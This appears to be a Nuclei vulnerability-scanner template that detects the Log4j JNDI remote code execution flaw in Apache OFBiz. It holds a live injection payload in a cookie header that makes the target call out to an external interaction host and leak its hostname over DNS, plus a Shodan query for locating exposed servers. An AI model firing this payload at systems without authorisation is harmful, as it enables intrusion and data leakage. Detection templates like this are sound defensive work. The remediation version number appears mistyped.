nuclei-templates/vulnerabilities/apache/apache-ofbiz-log4j-rce.yaml

50 lines
1.8 KiB
YAML

id: apache-ofbiz-log4j-rce
info:
name: Apache OFBiz - Log4j JNDI Remote Code Execution
author: pdteam
severity: critical
description: |
Apache OFBiz is affected by a remote code execution vulnerability in the bundled Apache Log4j logging library. Apache Log4j is vulnerable due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can exploit this, via a web request, to execute arbitrary code with the permission level of the running Java process.
reference:
- https://issues.apache.org/jira/browse/OFBIZ-12449
- https://ofbiz.apache.org/
- https://logging.apache.org/log4j/2.x/security.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cwe-id: CWE-77
remediation: Upgrade to Apache OFBiz version 8.12.03 or later.
metadata:
shodan-query: http.html:"Apache OFBiz"
tags: cve,cve2021,ofbiz,oast,log4j,rce,apache,jndi
requests:
- raw:
- |
GET /webtools/control/main HTTP/1.1
Host: {{Hostname}}
Cookie: OFBiz.Visitor=${jndi:ldap://${hostName}.{{interactsh-url}}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: regex
part: interactsh_request
regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable
extractors:
- type: regex
part: interactsh_request
group: 1
regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
# Enhanced by mp on 2022/05/27